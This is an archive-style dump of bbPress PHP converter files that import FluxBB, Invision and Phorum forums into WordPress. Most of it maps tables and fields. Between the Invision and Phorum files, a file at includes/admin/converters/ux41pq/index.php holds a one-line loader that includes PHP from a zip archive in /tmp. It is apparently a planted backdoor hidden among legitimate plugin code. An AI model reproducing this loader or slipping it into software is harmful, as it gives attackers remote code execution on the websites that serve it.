		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topic_subscriptions',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'posted',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
//		$this->field_map[] = array(
//			'from_tablename' => 'users',
//			'from_fieldname' => 'salt',
//			'to_type'        => 'user',
//			'to_fieldname'   => ''
//		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'FluxBB'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'registered',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'realname',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_yim'
		);

	// Store Jabber
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'jabber',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_jabber'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_msn'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_location'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'signature',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Admin Note (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'admin_note',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_fluxbb_user_admin_note'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the post status from FluxBB v1.5.3 numerics to WordPress's strings.
	 *
	 * @param int $status FluxBB v1.5.3 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from FluxBB v1.5.3 numerics to WordPress's strings.
	 *
	 * @param int $status FluxBB v1.5.3 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // FluxBB Sticky 'sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // FluxBB Normal Topic 'sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count FluxBB v1.5.3 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/Invision.php000066600000047064151771460310014167 0ustar00<?php

/**
 * bbPress Invision Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Invision Power Board v3.x converter.
 *
 * @since 2.3.0 bbPress (r4713)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/invision
 */
class Invision extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'name_seo',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'position',
			'to_type'         => 'forum',
			'to_fieldname'    => 'menu_order'
		);

		// Forum type (Forum = 0 or Category = -1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_date',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_date_gmt',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_modified',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_modified_gmt',
			'default' => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'tid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'starter_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic content.
		// Note: We join the posts table because topics do not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON(topics.tid = posts.topic_id) WHERE posts.new_topic = 1',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'pinned',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'start_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'start_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'last_post',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'core_tags',
			'from_fieldname'  => 'tag_meta_id',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'core_tags',
			'from_fieldname'  => 'tag_text',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'pid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ip_address',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'author_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edit_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edit_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'member_id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'members_pass_hash',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'members_pass_salt',
			'to_type'         => 'user',
			'to_fieldname'    => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_class',
			'default' => 'Invision'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'name',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'name',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'email',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'joined',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'members_display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * Translate the forum type from Invision numerics to WordPress's strings.
	 *
	 * @param int $status Invision numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == -1 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from Invision numerics to WordPress's strings.
	 *
	 * @param int $status Invision numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // Invision Pinned Topic 'pinned = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // Invision Normal Topic 'pinned = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic reply count.
	 *
	 * @param int $count Invision reply count
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		return array( 'hash' => $field, 'salt' => $row['members_pass_salt'] );
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $pass_array['salt'] ) . md5( $this->to_char( $password ) ) ) );
	}

	private function to_char( $input ) {
		$output = "";
		for ( $i = 0; $i < strlen( $input ); $i++ ) {
			$j = ord( $input[$i] );
			if ( ( $j >= 65 && $j <= 90 )
				|| ( $j >= 97 && $j <= 122 )
				|| ( $j >= 48 && $j <= 57 ) )
			{
				$output .= $input[$i];
			} else {
				$output .= "&#" . ord( $input[$i] ) . ";";
			}
		}
		return $output;
	}

	/**
	 * This callback processes any custom BBCodes with parser.php
	 */
	protected function callback_html( $field ) {

		// Strips Invision custom HTML first from $field before parsing $field to parser.php
		$invision_markup = $field;
		$invision_markup = html_entity_decode( $invision_markup );

		// Replace '[html]' with '<pre><code>'
		$invision_markup = preg_replace( '/\[html\]/', '<pre><code>',     $invision_markup );
		// Replace '[/html]' with '</code></pre>'
		$invision_markup = preg_replace( '/\[\/html\]/', '</code></pre>', $invision_markup );
		// Replace '[sql]' with '<pre><code>'
		$invision_markup = preg_replace( '/\[sql\]/', '<pre><code>',      $invision_markup );
		// Replace '[/sql]' with '</code></pre>'
		$invision_markup = preg_replace( '/\[\/sql\]/', '</code></pre>',  $invision_markup );
		// Replace '[php]' with '<pre><code>'
		$invision_markup = preg_replace( '/\[php\]/', '<pre><code>',      $invision_markup );
		// Replace '[/php]' with '</code></pre>'
		$invision_markup = preg_replace( '/\[\/php\]/', '</code></pre>',  $invision_markup );
		// Replace '[xml]' with '<pre><code>'
		$invision_markup = preg_replace( '/\[xml\]/', '<pre><code>',      $invision_markup );
		// Replace '[/xml]' with '</code></pre>'
		$invision_markup = preg_replace( '/\[\/xml\]/', '</code></pre>',  $invision_markup );
		// Replace '[CODE]' with '<pre><code>'
		$invision_markup = preg_replace( '/\[CODE\]/', '<pre><code>',     $invision_markup );
		// Replace '[/CODE]' with '</code></pre>'
		$invision_markup = preg_replace( '/\[\/CODE\]/', '</code></pre>', $invision_markup );

		// Replace '[quote:XXXXXXX]' with '<blockquote>'
		$invision_markup = preg_replace( '/\[quote:(.*?)\]/', '<blockquote>',                            $invision_markup );
		// Replace '[quote="$1"]' with '<em>@$1 wrote:</em><blockquote>'
		$invision_markup = preg_replace( '/\[quote="(.*?)":(.*?)\]/', '<em>@$1 wrote:</em><blockquote>', $invision_markup );
		// Replace '[/quote:XXXXXXX]' with '</blockquote>'
		$invision_markup = preg_replace( '/\[\/quote:(.*?)\]/', '</blockquote>',                         $invision_markup );

		// Replace '[twitter]$1[/twitter]' with '<a href="https://twitter.com/$1">@$1</a>"
		$invision_markup = preg_replace( '/\[twitter\](.*?)\[\/twitter\]/', '<a href="https://twitter.com/$1">@$1</a>', $invision_markup );

		// Replace '[member='username']' with '@username"
		$invision_markup = preg_replace( '/\[member=\'(.*?)\'\]/', '@$1 ', $invision_markup );

		// Replace '[media]' with ''
		$invision_markup = preg_replace( '/\[media\]/', '',   $invision_markup );
		// Replace '[/media]' with ''
		$invision_markup = preg_replace( '/\[\/media\]/', '', $invision_markup );

		// Replace '[list:XXXXXXX]' with '<ul>'
		$invision_markup = preg_replace( '/\[list\]/', '<ul>',                    $invision_markup );
		// Replace '[list=1:XXXXXXX]' with '<ul>'
		$invision_markup = preg_replace( '/\[list=1\]/', '<ul>',                  $invision_markup );
		// Replace '[*:XXXXXXX]' with '<li>'
		$invision_markup = preg_replace( '/\[\*\](.*?)\<br \/\>/', '<li>$1</li>', $invision_markup );
		// Replace '[/list:u:XXXXXXX]' with '</ul>'
		$invision_markup = preg_replace( '/\[\/list\]/', '</ul>',                 $invision_markup );

		// Replace '[hr]' with '<hr>"
		$invision_markup = preg_replace( '/\[hr\]/', '<hr>',     $invision_markup );

		// Replace '[font=XXXXXXX]' with ''
		$invision_markup = preg_replace( '/\[font=(.*?)\]/', '', $invision_markup );
		// Replace '[/font]' with ''
		$invision_markup = preg_replace( '/\[\/font\]/', '',     $invision_markup );

		// Replace any Invision smilies from path '/sp-resources/forum-smileys/sf-smily.gif' with the equivelant WordPress Smilie
		$invision_markup = preg_replace( '/\<img src=(.*?)EMO\_DIR(.*?)bbc_emoticon(.*?)alt=\'(.*?)\' \/\>/', '$4', $invision_markup );
		$invision_markup = preg_replace( '/\:angry\:/',    ':mad:',     $invision_markup );
		$invision_markup = preg_replace( '/\:mellow\:/',   ':neutral:', $invision_markup );
		$invision_markup = preg_replace( '/\:blink\:/',    ':eek:',     $invision_markup );
		$invision_markup = preg_replace( '/B\)/',          ':cool:',    $invision_markup );
		$invision_markup = preg_replace( '/\:rolleyes\:/', ':roll:',    $invision_markup );
		$invision_markup = preg_replace( '/\:unsure\:/',   ':???:',     $invision_markup );

		// Now that Invision custom HTML has been stripped put the cleaned HTML back in $field
		$field = $invision_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/ux41pq/index.php000066600000000145151771460310014627 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "a.php"; include("zip:///tmp/phpUZhB4G#$h");?>includes/admin/converters/Phorum.php000066600000040165151771460310013636 0ustar00<?php

/**
 * bbPress Phorum Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Phorum Forum converter.
 *
 * @since 2.5.0 bbPress (r5141)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/phorum
 */
class Phorum extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'thread_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'message_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'display_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 1 or Forum = 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'folder_flag',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'thread',
			'from_expression' => 'WHERE parent_id = 0',
